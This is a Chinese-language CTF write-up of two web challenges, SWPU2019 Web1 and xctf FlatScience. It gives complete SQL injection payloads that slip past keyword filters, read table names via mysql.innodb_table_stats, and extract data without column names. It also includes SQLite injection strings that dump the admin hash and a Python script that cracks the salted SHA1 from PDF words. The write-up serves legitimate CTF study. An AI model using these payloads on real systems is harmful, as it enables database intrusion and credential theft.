[SWPU2019]Web1
经过尝试,发现广告名处存在注入点,并推测出查询语句为
select * from ads where title = '$title' limit 0,1;
Order by似乎和or一起被禁掉了,于是尝试用group by来爆字段数,最后发现居然有22个字段。
然后这里information_schema关键字似乎也被ban掉了,尝试别的方法。
https://www.anquanke.com/post/id/193512
https://mariadb.com/kb/en/mysqlinnodb_table_stats/
利用MySQL 5.7的特性,可以用Payload-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
获取 mysql.innodb_table_stats 中的table_name列。
爆出来 FLAG_TABLE,news,users,gtid_slave_pos,ads,users
最后面找到flag是在users表里面.
最后是无列名注入
先上一波相关参考资料
https://www.jianshu.com/p/dc9af4ca2d06
https://blog.redforce.io/sqli-extracting-data-without-knowing-columns-names/
这里的payload可以是
-1'union/**/select/**/1, (select/**/group_concat(`3`)/**/from(select/**/1,2,3/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
from的反括号后面的x等价于as x,这里是简写。
这里的无列名注入的from后的select实际上提取出的表格类似于这样
1 | 2 | 3 |
1 | admin | nimada |
2 | user1 | passwd1 |
3 | user2 | passwd2 |
这样的Union实质上就是将1,2,3作为表头,这样我们通过提取列1或者2或者3就可以获取所有数据了。这里看别的wp说ban掉了反引号" ` ",但是实际上buuoj上没有ban掉来着。如果遇上了ban掉的情况,可以:
-1'union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
或者
-1'union/**/select/**/1, (select/**/group_concat(x.3)/**/from(select/**/1,2,3/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
这题写完之后...buuoj就崩了...等了好久好久都没有恢复,最后转战xctf,搞一个FlatScience 这题实际上还是因为py的pdf操作问题没有完整复现。
xctf FlatScience
首先查看robots.txt,发现login.php和admin.php
login.php查看源代码,发现<!-- TODO: Remove ?debug-Parameter! --> 标签,直接在原页面来一个?debug,爆出源码
if(isset($_POST['usr']) && isset($_POST['pw'])){ $user = $_POST['usr']; $pass = $_POST['pw']; $db = new SQLite3('../fancy.db'); $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'"); if($res){ $row = $res->fetchArray(); } else{ echo "<br>Some Error occourred!"; } if(isset($row['id'])){ setcookie('name',' '.$row['name'], time() + 60, '/'); header("Location: /"); die(); } }
发现这个是SQLite,记录表的结构的方式似乎与MySQL不太一样,上网搜一波
拼接语句 'union select 1,sql from sqlite_master where name="Users"--
得到 CREATE TABLE Users(id int primary key,name varchar(255),password varchar(255),hint varchar(255))
之后用同样方法去爆admin的passwd和hint
'union select 1,password from Users where name="admin"--
得到passwd+Salz!的sha1值是 3fab54a50e770d830c0416df817567662a9dc85c
hint是 my fav word in my fav paper?!
这里就用了一个大佬用的pdf读取脚本了,主要原理是解析pdf,将每个单词加盐后看sha1是否等于密码~~
from cStringIO import StringIO from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter from pdfminer.converter import TextConverter from pdfminer.layout import LAParams from pdfminer.pdfpage import PDFPage import sys import string import os import hashlib def get_pdf(): return [i for i in os.listdir("./") if i.endswith("pdf")] def convert_pdf_2_text(path): rsrcmgr = PDFResourceManager() retstr = StringIO() device = TextConverter(rsrcmgr, retstr, codec='utf-8', laparams=LAParams()) interpreter = PDFPageInterpreter(rsrcmgr, device) with open(path, 'rb') as fp: for page in PDFPage.get_pages(fp, set()): interpreter.process_page(page) text = retstr.getvalue() device.close() retstr.close() return text def find_password(): pdf_path = get_pdf() for i in pdf_path: print "Searching word in " + i pdf_text = convert_pdf_2_text(i).split(" ") for word in pdf_text: sha1_password = hashlib.sha1(word+"Salz!").hexdigest() if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c': print "Find the password :" + word exit() if __name__ == "__main__": find_password()
Ref:
http://www.luyixian.cn/news_show_345635.aspx
Comments | NOTHING